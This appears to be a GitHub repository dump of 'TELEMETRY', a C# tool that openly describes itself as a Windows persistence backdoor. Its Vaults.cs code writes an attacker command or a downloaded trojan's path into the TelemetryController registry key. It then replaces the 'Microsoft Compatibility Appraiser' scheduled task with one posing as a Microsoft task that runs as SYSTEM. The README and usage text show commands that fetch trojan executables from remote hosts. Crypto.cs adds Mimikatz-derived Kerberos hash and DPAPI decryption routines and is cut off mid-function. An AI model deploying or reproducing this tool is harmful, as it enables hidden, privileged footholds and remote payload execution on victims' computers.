├── PIC ├── 1.png └── 2.png ├── README.md ├── TELEMETRY.sln ├── TELEMETRY ├── Commands │ ├── ICommand.cs │ └── Vaults.cs ├── Domain │ ├── ArgumentParser.cs │ ├── ArgumentParserResult.cs │ ├── CommandCollection.cs │ └── Info.cs ├── Program.cs ├── Properties │ └── AssemblyInfo.cs ├── TELEMETRY.csproj ├── app.config ├── bin │ └── Debug │ │ ├── Telemetry_35.exe │ │ └── Telemetry_4.exe └── lib │ ├── Bandwidth.cs │ ├── CancellationToken.cs │ ├── CancellationTokenSource.cs │ ├── Crypto.cs │ ├── DownloadBatch.cs │ ├── DownloadFileInfo.cs │ ├── DownloaderResult.cs │ ├── GidoraDownloader.cs │ └── Range.cs └── taskschd.dll /PIC/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Imanfeng/Telemetry/5d7097348e0a6e7d66d3ac3383d2675616d85d2e/PIC/1.png -------------------------------------------------------------------------------- /PIC/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Imanfeng/Telemetry/5d7097348e0a6e7d66d3ac3383d2675616d85d2e/PIC/2.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # TELEMETRY 2 | 3 | 4 | ### Background 5 | 6 | [TELEMETRY](#TELEMETRY-1) is a C# For Windows PERSISTENCE 7 | 8 | Today we’re going to talk about a persistence method that takes advantage of some of the wonderful telemetry that Microsoft has included in Windows versions for the last decade. 9 | 10 | - **Local admin rights to install (requires the ability to write to HKLM)** 11 | - **Have CompatTelRunner.exe** 12 | - **2008R2/Windows 7 through 2019/Windows 10** 13 | 14 | ### Advantage 15 | 16 | - **Using the system's own Telemetry planned tasks** 17 | - **Only registry suspicious backdoor troubleshooting** 18 | 19 | ### Command Line Usage 20 | 21 | ABUSING WINDOWS TELEMETRY FOR PERSISTENCE 22 | .Imanfeng 23 | Features: 24 | Install: - Deployment authority maintains backdoor 25 | 26 | Command: 27 | TELEMETRY.exe install /command:calc 28 | - Execute command without file backdoor 29 | 30 | TELEMETRY.exe install /url:http://8.8.8.8/xxx.exe /path:C:\Windows\Temp\check.exe 31 | - Remotely download Trojan files to the specified directory for backdoor startup 32 | 33 | TELEMETRY.exe install /url:http://8.8.8.8/xxx.exe 34 | - Remotely download Trojan files to C:\\Windows\\Temp\\compattelrun.exe for backdoor startup 35 | 36 | TELEMETRY.exe install /path:C:\Windows\Temp\check.exe 37 | - Set path Trojan files for backdoor startup 38 | 39 | Parameter: 40 | /command: - Execute Command 41 | /url: - Download FROM 42 | /path: - Download To 43 | 44 | - Execute command without file backdoor 45 | 46 | ``` 47 | Telemetry.exe install /command:calc 48 | ``` 49 | 50 | ![1](PIC/2.png) 51 | 52 | 53 | 54 | - Remotely download Trojan files for backdoor startup 55 | 56 | ``` 57 | Telemetry.exe install /url:http://vps:8089/System.exe 58 | ``` 59 | 60 | ![2](PIC/1.png) 61 | 62 | 63 | 64 | ### Learn 65 | 66 | https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/ 67 | -------------------------------------------------------------------------------- /TELEMETRY.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30204.135 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TELEMETRY", "TELEMETRY\TELEMETRY.csproj", "{5F026C27-F8E6-4052-B231-8451C6A73838}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {5F026C27-F8E6-4052-B231-8451C6A73838}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {5F026C27-F8E6-4052-B231-8451C6A73838}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {5F026C27-F8E6-4052-B231-8451C6A73838}.Debug|x64.ActiveCfg = Debug|Any CPU 19 | {5F026C27-F8E6-4052-B231-8451C6A73838}.Debug|x64.Build.0 = Debug|Any CPU 20 | {5F026C27-F8E6-4052-B231-8451C6A73838}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {5F026C27-F8E6-4052-B231-8451C6A73838}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {5F026C27-F8E6-4052-B231-8451C6A73838}.Release|x64.ActiveCfg = Release|Any CPU 23 | {5F026C27-F8E6-4052-B231-8451C6A73838}.Release|x64.Build.0 = Release|Any CPU 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {DD61B202-CFCA-4F9F-AD3D-5ABB661ED190} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /TELEMETRY/Commands/ICommand.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | namespace TELEMETRY.Commands 4 | { 5 | public interface ICommand 6 | { 7 | void Execute(Dictionary arguments); 8 | } 9 | } -------------------------------------------------------------------------------- /TELEMETRY/Commands/Vaults.cs: -------------------------------------------------------------------------------- 1 | using TELEMETRY.lib; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.IO; 5 | using System.Linq; 6 | using System.Threading; 7 | using Microsoft.Win32; 8 | using TaskScheduler; 9 | 10 | namespace TELEMETRY.Commands 11 | { 12 | public class Vaults : ICommand 13 | { 14 | public static string CommandName => "install"; 15 | 16 | 17 | 18 | public static void DeleteTask(string taskName) 19 | { 20 | TaskSchedulerClass ts = new TaskSchedulerClass(); 21 | ts.Connect(null, null, null, null); 22 | ITaskFolder folder = ts.GetFolder("\\Microsoft\\Windows\\Application Experience"); 23 | folder.DeleteTask(taskName, 0); 24 | } 25 | 26 | public static _TASK_STATE CreateTaskScheduler(string creator, string taskName, string path, string interval, string startBoundary, string description) 27 | { 28 | try 29 | { 30 | //new scheduler 31 | TaskSchedulerClass scheduler = new TaskSchedulerClass(); 32 | //pc-name/ip,username,domain,password 33 | scheduler.Connect(null, null, null, null); 34 | //get scheduler folder; 35 | ITaskFolder folder = scheduler.GetFolder("\\Microsoft\\Windows\\Application Experience"); 36 | 37 | //set base attr 38 | ITaskDefinition task = scheduler.NewTask(0); 39 | task.RegistrationInfo.Author = creator;//creator 40 | task.RegistrationInfo.Description = description;//description 41 | 42 | ITriggerCollection TriggerCollection = task.Triggers; 43 | ILogonTrigger LogonTrigger = (ILogonTrigger)TriggerCollection.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON); 44 | LogonTrigger.Enabled = true; 45 | 46 | task.Principal.GroupId = "S-1-5-18"; // LocalSystem 47 | 48 | //set trigger (IDailyTrigger ITimeTrigger) 49 | ITimeTrigger tt = (ITimeTrigger)task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_TIME); 50 | tt.Repetition.Interval = interval;// format PT1H1M==1小时1分钟 设置的值最终都会转成分钟加入到触发器 51 | tt.StartBoundary = startBoundary;//start time 52 | 53 | //set action 54 | IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC); 55 | action.Path = path;//计划任务调用的程序路径 56 | 57 | task.Settings.ExecutionTimeLimit = "PT0S"; //运行任务时间超时停止任务吗? PTOS 不开启超时 58 | task.Settings.DisallowStartIfOnBatteries = false; 59 | task.Settings.RunOnlyIfIdle = false;//仅当计算机空闲下才执行 60 | IRegisteredTask regTask = folder.RegisterTaskDefinition(taskName, task, 61 | (int)_TASK_CREATION.TASK_CREATE, null, //user 62 | null, // password 63 | _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, 64 | ""); 65 | IRunningTask runTask = regTask.Run(null); 66 | return runTask.State; 67 | 68 | } 69 | catch (Exception ex) 70 | { 71 | throw ex; 72 | } 73 | 74 | } 75 | 76 | public void Edit(string Fileto) 77 | { 78 | Console.WriteLine("\r\n[*] Action: Edit Regedit"); 79 | 80 | RegistryKey key = Registry.LocalMachine; 81 | RegistryKey software = key.CreateSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\TelemetryController\\Levint"); 82 | software.SetValue("Command", Fileto); 83 | software.SetValue("Nightly", 1, RegistryValueKind.DWord); 84 | Check(); 85 | } 86 | 87 | public void Edit_command(string command) 88 | { 89 | Console.WriteLine("\r\n[*] Action: Edit Regedit"); 90 | command = "C:\\WINDOWS\\system32\\cmd.exe /c " + command; 91 | RegistryKey key = Registry.LocalMachine; 92 | RegistryKey software = key.CreateSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\TelemetryController\\Levint"); 93 | software.SetValue("Command", command); 94 | software.SetValue("Nightly", 1, RegistryValueKind.DWord); 95 | Check(); 96 | } 97 | 98 | public void Check() 99 | { 100 | RegistryKey KeyA = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\TelemetryController"); 101 | KeyA = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\TelemetryController\\Levint\\", true); 102 | //Command 103 | String Command = KeyA.GetValue("Command", "").ToString(); 104 | if (Command.Length != 0) 105 | { 106 | Console.WriteLine("[>] Command: " + Command); 107 | } 108 | else 109 | { 110 | Console.WriteLine("\r\n[!] Command not Found:\r\n"); 111 | } 112 | //Time 113 | String Nightly = KeyA.GetValue("Nightly", "").ToString(); 114 | if (Nightly.Length != 0) 115 | { 116 | Console.WriteLine("[>] Nightly: " + Nightly); 117 | } 118 | else 119 | { 120 | Console.WriteLine("\r\n[!] Time not Found:\r\n"); 121 | } 122 | KeyA.Close(); 123 | } 124 | public void Download(string target,string Fileto) 125 | { 126 | var mutexes = new WaitHandle[1]; 127 | var downloads = new Dictionary(); 128 | 129 | var downloader = new GidoraDownloader(); 130 | downloader.ExceptionThrown += (sender, eventArgs) => 131 | { 132 | }; 133 | 134 | downloader.DownloadCompleted += (sender, eventArgs) => 135 | { 136 | var result = eventArgs.Result; 137 | 138 | 139 | if (!result.FileExists) 140 | { 141 | Console.WriteLine("File not found"); 142 | } 143 | 144 | downloads[result.FileUrl].Set(); 145 | }; 146 | double lastPercent = 0.0; 147 | var lastPercents = new Dictionary(); 148 | downloader.ProgressChanged += (sender, eventArgs) => 149 | { 150 | lock (lastPercents) 151 | { 152 | lastPercent = lastPercents[eventArgs.FileUrl]; 153 | } 154 | 155 | double percent = (double)eventArgs.Progress / eventArgs.FileLength * 100.0; 156 | 157 | if (percent >= lastPercent + 1.0 || eventArgs.Progress == eventArgs.FileLength) 158 | { 159 | lastPercent = percent; 160 | lock (lastPercents) 161 | { 162 | lastPercents[eventArgs.FileUrl] = lastPercent; 163 | } 164 | } 165 | }; 166 | var source = new CancellationTokenSource(); 167 | 168 | for (int i = 0; i < 1; i++) 169 | { 170 | mutexes[i] = new ManualResetEvent(false); 171 | downloads.Add(target, (ManualResetEvent)mutexes[i]); 172 | lastPercents.Add(target, 0.0); 173 | 174 | //Calculate destination path 175 | 176 | downloader.DownloadAsync(target, Fileto, 2, source.Token); 177 | } 178 | 179 | WaitHandle.WaitAll(mutexes); 180 | string filePath = new Uri(target).Segments.Last(); 181 | Console.WriteLine("[>] Download To: " + Fileto + "\r\n"); 182 | } 183 | 184 | public static IRegisteredTaskCollection GetAllTasks() 185 | { 186 | TaskSchedulerClass ts = new TaskSchedulerClass(); 187 | ts.Connect(null, null, null, null); 188 | ITaskFolder folder = ts.GetFolder("\\Microsoft\\Windows\\Application Experience"); 189 | IRegisteredTaskCollection tasks_exists = folder.GetTasks(1); 190 | return tasks_exists; 191 | } 192 | 193 | public static bool IsExists(string taskName) 194 | { 195 | var isExists = false; 196 | IRegisteredTaskCollection tasks_exists = GetAllTasks(); 197 | for (int i = 1; i <= tasks_exists.Count; i++) 198 | { 199 | IRegisteredTask t = tasks_exists[i]; 200 | if (t.Name.Equals(taskName)) 201 | { 202 | isExists = true; 203 | break; 204 | } 205 | } 206 | return isExists; 207 | } 208 | public void Execute(Dictionary arguments) 209 | { 210 | 211 | arguments.Remove("vaults"); 212 | 213 | if (!IsExists("Microsoft Compatibility Appraiser")) 214 | { 215 | Console.WriteLine("\n[X] Don't have Appraiser, Unable to Telemetry!\n"); 216 | System.Environment.Exit(0); 217 | 218 | } 219 | else 220 | { 221 | Console.WriteLine("\n[Y] Computer have Appraiser, Can use Telemetry!!\n"); 222 | } 223 | 224 | 225 | if (arguments.ContainsKey("/url")) 226 | { 227 | Console.WriteLine("[*] Action: Download Trojan EXE"); 228 | string target = arguments["/url"].Trim('"').Trim('\''); 229 | var FileUrl = target; 230 | 231 | Console.WriteLine("[>] Download From: "+target); 232 | if (arguments.ContainsKey("/path")) 233 | { 234 | string to = arguments["/path"].Trim('"').Trim('\''); 235 | var Fileto = to; 236 | Download(FileUrl, Fileto); 237 | Edit(Fileto); 238 | 239 | } 240 | else 241 | { 242 | string to = "C:\\Windows\\Temp\\compattelrun.exe"; 243 | var Fileto = to; 244 | Download(FileUrl, Fileto); 245 | Edit(Fileto); 246 | 247 | } 248 | 249 | } 250 | else 251 | { 252 | if (arguments.ContainsKey("/path")) 253 | { 254 | string to = arguments["/path"].Trim('"').Trim('\''); 255 | var Fileto = to; 256 | Edit(Fileto); 257 | } 258 | 259 | } 260 | 261 | if (arguments.ContainsKey("/command")) 262 | { 263 | string command = arguments["/command"].Trim('"').Trim('\''); 264 | Edit_command(command); 265 | } 266 | 267 | DeleteTask("Microsoft Compatibility Appraiser"); 268 | 269 | //创建者 270 | string creator = "Microsoft Corporation"; 271 | //计划任务名称 272 | string taskName = "Microsoft Compatibility Appraiser"; 273 | //执行的程序路径 274 | string path = "%windir%\\system32\\compattelrunner.exe"; 275 | //计划任务执行的频率 PT1M一分钟 PT1H30M 90分钟 276 | string interval = "PT1H30M"; 277 | //开始时间 请遵循 yyyy-MM-ddTHH:mm:ss 格式 278 | DateTime currentTime = DateTime.Now; 279 | var startBoundary = currentTime.ToString("yyyy-MM-ddTHH:mm:ss"); 280 | 281 | var description = "如果已选择加入 Microsoft 客户体验改善计划,则会收集程序遥测信息"; 282 | 283 | _TASK_STATE state = CreateTaskScheduler(creator, taskName, path, interval, startBoundary, description); 284 | if (state == _TASK_STATE.TASK_STATE_RUNNING) 285 | { 286 | String msg = ""; 287 | Console.WriteLine("\r\n[*] Action: " + interval + " 时间间隔计划后门修改成功!"); 288 | Console.WriteLine("[>] wait a moment... \r\n"); 289 | 290 | } 291 | 292 | 293 | } 294 | } 295 | } -------------------------------------------------------------------------------- /TELEMETRY/Domain/ArgumentParser.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.Diagnostics; 3 | 4 | namespace TELEMETRY.Domain 5 | { 6 | public static class ArgumentParser 7 | { 8 | public static ArgumentParserResult Parse(IEnumerable args) 9 | { 10 | var arguments = new Dictionary(); 11 | try 12 | { 13 | foreach (var argument in args) 14 | { 15 | var idx = argument.IndexOf(':'); 16 | if (idx > 0) 17 | arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); 18 | else 19 | arguments[argument] = string.Empty; 20 | } 21 | 22 | return ArgumentParserResult.Success(arguments); 23 | } 24 | catch (System.Exception ex) 25 | { 26 | Debug.WriteLine(ex.Message); 27 | return ArgumentParserResult.Failure(); 28 | } 29 | } 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /TELEMETRY/Domain/ArgumentParserResult.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | namespace TELEMETRY.Domain 4 | { 5 | public class ArgumentParserResult 6 | { 7 | public bool ParsedOk { get; } 8 | public Dictionary Arguments { get; } 9 | 10 | private ArgumentParserResult(bool parsedOk, Dictionary arguments) 11 | { 12 | ParsedOk = parsedOk; 13 | Arguments = arguments; 14 | } 15 | 16 | public static ArgumentParserResult Success(Dictionary arguments) 17 | => new ArgumentParserResult(true, arguments); 18 | 19 | public static ArgumentParserResult Failure() 20 | => new ArgumentParserResult(false, null); 21 | 22 | } 23 | } -------------------------------------------------------------------------------- /TELEMETRY/Domain/CommandCollection.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using TELEMETRY.Commands; 4 | 5 | namespace TELEMETRY.Domain 6 | { 7 | public class CommandCollection 8 | { 9 | private readonly Dictionary> _availableCommands = new Dictionary>(); 10 | 11 | // How To Add A New Command: 12 | // 1. Create your command class in the Commands Folder 13 | // a. That class must have a CommandName static property that has the Command's name 14 | // and must also Implement the ICommand interface 15 | // b. Put the code that does the work into the Execute() method 16 | // 2. Add an entry to the _availableCommands dictionary in the Constructor below. 17 | 18 | public CommandCollection() 19 | { 20 | ; 21 | _availableCommands.Add(Vaults.CommandName, () => new Vaults()); 22 | 23 | } 24 | 25 | public bool ExecuteCommand(string commandName, Dictionary arguments) 26 | { 27 | bool commandWasFound; 28 | 29 | if (string.IsNullOrEmpty(commandName) || _availableCommands.ContainsKey(commandName) == false) 30 | commandWasFound= false; 31 | else 32 | { 33 | // Create the command object 34 | var command = _availableCommands[commandName].Invoke(); 35 | 36 | // and execute it with the arguments from the command line 37 | command.Execute(arguments); 38 | 39 | commandWasFound = true; 40 | } 41 | 42 | return commandWasFound; 43 | } 44 | } 45 | } -------------------------------------------------------------------------------- /TELEMETRY/Domain/Info.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace TELEMETRY.Domain 4 | { 5 | public static class Info 6 | { 7 | public static void ShowUsage() 8 | { 9 | string usage = @" 10 | 11 | ABUSING WINDOWS TELEMETRY FOR PERSISTENCE 12 | .Imanfeng 13 | 14 | 15 | Features: 16 | Install: - Deployment authority maintains backdoor 17 | 18 | Command : 19 | TELEMETRY.exe install /command:calc 20 | - Execute command without file backdoor 21 | 22 | TELEMETRY.exe install /url:http://8.8.8.8/xxx.exe /path:C:\Windows\Temp\check.exe 23 | - Remotely download Trojan files to the specified directory for backdoor startup 24 | 25 | TELEMETRY.exe install /url:http://8.8.8.8/xxx.exe 26 | - Remotely download Trojan files to C:\\Windows\\Temp\\compattelrun.exe for backdoor startup 27 | 28 | TELEMETRY.exe install /path:C:\Windows\Temp\check.exe 29 | - Set path Trojan files for backdoor startup 30 | 31 | Parameter: 32 | /command: - Execute Command 33 | /url: - Download FROM 34 | /path: - Download To 35 | "; 36 | Console.WriteLine(usage); 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /TELEMETRY/Program.cs: -------------------------------------------------------------------------------- 1 | using TELEMETRY.Domain; 2 | using System.Security.Principal; 3 | using System; 4 | using TaskScheduler; 5 | 6 | namespace TELEMETRY 7 | { 8 | class Program 9 | { 10 | public static bool IsHighIntegrity() 11 | { 12 | WindowsIdentity current = WindowsIdentity.GetCurrent(); 13 | WindowsPrincipal windowsPrincipal = new WindowsPrincipal(current); 14 | return windowsPrincipal.IsInRole(WindowsBuiltInRole.Administrator); 15 | } 16 | 17 | 18 | 19 | static void Main(string[] args) 20 | { 21 | try 22 | { 23 | if (!IsHighIntegrity()) 24 | { 25 | Console.WriteLine("\n[X] Not in high integrity, Unable to Telemetry!\n"); 26 | System.Environment.Exit(0); 27 | } 28 | 29 | 30 | // try to parse the command line arguments, show usage on failure and then bail 31 | var parsed = ArgumentParser.Parse(args); 32 | if (parsed.ParsedOk == false) 33 | Info.ShowUsage(); 34 | else 35 | { 36 | // Try to execute the command using the arguments passed in 37 | 38 | var commandName = args.Length != 0 ? args[0] : ""; 39 | 40 | var commandFound = new CommandCollection().ExecuteCommand(commandName, parsed.Arguments); 41 | 42 | // show the usage if no commands were found for the command name 43 | if (commandFound == false) 44 | Info.ShowUsage(); 45 | } 46 | } 47 | catch (Exception e) 48 | { 49 | Console.WriteLine("\r\n[!] Unhandled TELEMETRY exception:\r\n"); 50 | Console.WriteLine(e); 51 | } 52 | } 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /TELEMETRY/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("TELEMETRY")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("TELEMETRY")] 13 | [assembly: AssemblyCopyright("Copyright © 2018")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("5f026c27-f8e6-4052-b231-8451c6a73838")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /TELEMETRY/TELEMETRY.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {5F026C27-F8E6-4052-B231-8451C6A73838} 8 | Exe 9 | Properties 10 | TELEMETRY 11 | TELEMETRY 12 | v3.5 13 | 512 14 | publish\ 15 | true 16 | Disk 17 | false 18 | Foreground 19 | 7 20 | Days 21 | false 22 | false 23 | true 24 | 0 25 | 1.0.0.%2a 26 | false 27 | false 28 | true 29 | 30 | 31 | 32 | AnyCPU 33 | true 34 | full 35 | false 36 | bin\Debug\ 37 | prompt 38 | 4 39 | false 40 | 41 | 42 | AnyCPU 43 | none 44 | false 45 | bin\Release\ 46 | prompt 47 | 0 48 | false 49 | 50 | 51 | false 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | False 83 | .NET Framework 3.5 SP1 84 | true 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | {E34CB9F1-C7F7-424C-BE29-027DCC09363A} 93 | 1 94 | 0 95 | 0 96 | tlbimp 97 | False 98 | False 99 | 100 | 101 | 102 | 109 | -------------------------------------------------------------------------------- /TELEMETRY/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /TELEMETRY/bin/Debug/Telemetry_35.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Imanfeng/Telemetry/5d7097348e0a6e7d66d3ac3383d2675616d85d2e/TELEMETRY/bin/Debug/Telemetry_35.exe -------------------------------------------------------------------------------- /TELEMETRY/bin/Debug/Telemetry_4.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Imanfeng/Telemetry/5d7097348e0a6e7d66d3ac3383d2675616d85d2e/TELEMETRY/bin/Debug/Telemetry_4.exe -------------------------------------------------------------------------------- /TELEMETRY/lib/Bandwidth.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace TELEMETRY.lib 7 | { 8 | public class BandwidthMeasure 9 | { 10 | public long ProgressBytes { get; set; } 11 | public long TotalBytes { get; set; } 12 | public long ElapsedMs { get; set; } 13 | } 14 | 15 | public class Bandwidth 16 | { 17 | public string FileUrl { get; set; } 18 | 19 | public long Mean1Second { get; set; } 20 | public long Mean5Seconds { get; set; } 21 | public long Mean30Seconds { get; set; } 22 | public long Mean1Minute { get; set; } 23 | public long? Remaining { get; set; } 24 | 25 | public List Measures { get; set; } 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /TELEMETRY/lib/CancellationToken.cs: -------------------------------------------------------------------------------- 1 | //#if NET_3_5 2 | namespace TELEMETRY.lib 3 | { 4 | public class CancellationToken 5 | { 6 | public static CancellationToken None { get; } = new CancellationToken(); 7 | 8 | private volatile bool isCancelled; 9 | 10 | public bool IsCancellationRequested => isCancelled; 11 | 12 | public void Cancel() => isCancelled = true; 13 | } 14 | } 15 | //#endif 16 | -------------------------------------------------------------------------------- /TELEMETRY/lib/CancellationTokenSource.cs: -------------------------------------------------------------------------------- 1 | //#if NET_3_5 2 | 3 | namespace TELEMETRY.lib 4 | { 5 | public class CancellationTokenSource 6 | { 7 | public CancellationToken Token { get; private set; } 8 | 9 | public CancellationTokenSource() 10 | { 11 | Token = new CancellationToken(); 12 | } 13 | 14 | public void Cancel() 15 | { 16 | Token.Cancel(); 17 | } 18 | } 19 | } 20 | //#endif 21 | 22 | -------------------------------------------------------------------------------- /TELEMETRY/lib/Crypto.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Security.Cryptography; 3 | using System.Runtime.InteropServices; 4 | using System.ComponentModel; 5 | using System.IO; 6 | 7 | namespace TELEMETRY 8 | { 9 | public class Crypto 10 | { 11 | public static string KerberosPasswordHash(Interop.KERB_ETYPE etype, string password, string salt = "", int count = 4096) 12 | { 13 | // use the internal KERB_ECRYPT HashPassword() function to calculate a password hash of a given etype 14 | // adapted from @gentilkiwi's Mimikatz "kerberos::hash" implementation 15 | 16 | Interop.KERB_ECRYPT pCSystem; 17 | IntPtr pCSystemPtr; 18 | 19 | // locate the crypto system for the hash type we want 20 | int status = Interop.CDLocateCSystem(etype, out pCSystemPtr); 21 | 22 | pCSystem = (Interop.KERB_ECRYPT)System.Runtime.InteropServices.Marshal.PtrToStructure(pCSystemPtr, typeof(Interop.KERB_ECRYPT)); 23 | if (status != 0) 24 | throw new System.ComponentModel.Win32Exception(status, "Error on CDLocateCSystem"); 25 | 26 | // get the delegate for the password hash function 27 | Interop.KERB_ECRYPT_HashPassword pCSystemHashPassword = (Interop.KERB_ECRYPT_HashPassword)System.Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer(pCSystem.HashPassword, typeof(Interop.KERB_ECRYPT_HashPassword)); 28 | Interop.UNICODE_STRING passwordUnicode = new Interop.UNICODE_STRING(password); 29 | Interop.UNICODE_STRING saltUnicode = new Interop.UNICODE_STRING(salt); 30 | 31 | byte[] output = new byte[pCSystem.KeySize]; 32 | 33 | int success = pCSystemHashPassword(passwordUnicode, saltUnicode, count, output); 34 | 35 | if (status != 0) 36 | throw new Win32Exception(status); 37 | 38 | return System.BitConverter.ToString(output).Replace("-", ""); 39 | } 40 | 41 | public static byte[] DecryptBlob(byte[] ciphertext, byte[] key, int algCrypt = 26115, PaddingMode padding = PaddingMode.Zeros) 42 | { 43 | // decrypts a DPAPI blob using 3DES or AES 44 | 45 | // reference: https://docs.microsoft.com/en-us/windows/desktop/seccrypto/alg-id 46 | // 26115 == CALG_3DES 47 | // 26128 == CALG_AES_256 48 | 49 | if (algCrypt == 26115) 50 | { 51 | // takes a byte array of ciphertext bytes and a key array, decrypt the blob with 3DES 52 | TripleDESCryptoServiceProvider desCryptoProvider = new TripleDESCryptoServiceProvider(); 53 | 54 | byte[] ivBytes = new byte[8]; 55 | 56 | desCryptoProvider.Key = key; 57 | desCryptoProvider.IV = ivBytes; 58 | desCryptoProvider.Mode = CipherMode.CBC; 59 | desCryptoProvider.Padding = padding; 60 | try 61 | { 62 | byte[] plaintextBytes = desCryptoProvider.CreateDecryptor() 63 | .TransformFinalBlock(ciphertext, 0, ciphertext.Length); 64 | return plaintextBytes; 65 | } 66 | catch (Exception e) 67 | { 68 | Console.WriteLine("[x] An exception occured: {0}", e); 69 | } 70 | 71 | return new byte[0]; 72 | } 73 | else if (algCrypt == 26128) 74 | { 75 | // takes a byte array of ciphertext bytes and a key array, decrypt the blob with AES256 76 | AesManaged aesCryptoProvider = new AesManaged(); 77 | 78 | byte[] ivBytes = new byte[16]; 79 | 80 | aesCryptoProvider.Key = key; 81 | aesCryptoProvider.IV = ivBytes; 82 | aesCryptoProvider.Mode = CipherMode.CBC; 83 | aesCryptoProvider.Padding = padding; 84 | 85 | byte[] plaintextBytes = aesCryptoProvider.CreateDecryptor().TransformFinalBlock(ciphertext, 0, ciphertext.Length); 86 | 87 | return plaintextBytes; 88 | } 89 | else 90 | { 91 | return new byte[0]; 92 | } 93 | } 94 | 95 | public static byte[] DeriveKey(byte[] keyBytes, byte[] saltBytes, int algHash = 32772) 96 | { 97 | // derives a dpapi session key using Microsoft crypto "magic" 98 | 99 | // calculate the session key -> HMAC(salt) where the sha1(masterkey) is the key 100 | 101 | if (algHash == 32782) 102 | { 103 | // 32782 == CALG_SHA_512 104 | HMACSHA512 hmac = new HMACSHA512(keyBytes); 105 | byte[] sessionKeyBytes = hmac.ComputeHash(saltBytes); 106 | return sessionKeyBytes; 107 | } 108 | 109 | else if (algHash == 32772) 110 | { 111 | // 32772 == CALG_SHA1 112 | 113 | HMACSHA1 hmac = new HMACSHA1(keyBytes); 114 | 115 | byte[] ipad = new byte[64]; 116 | byte[] opad = new byte[64]; 117 | 118 | byte[] sessionKeyBytes = hmac.ComputeHash(saltBytes); 119 | 120 | // "...wut" - anyone reading Microsoft crypto 121 | for (int i = 0; i < 64; i++) 122 | { 123 | 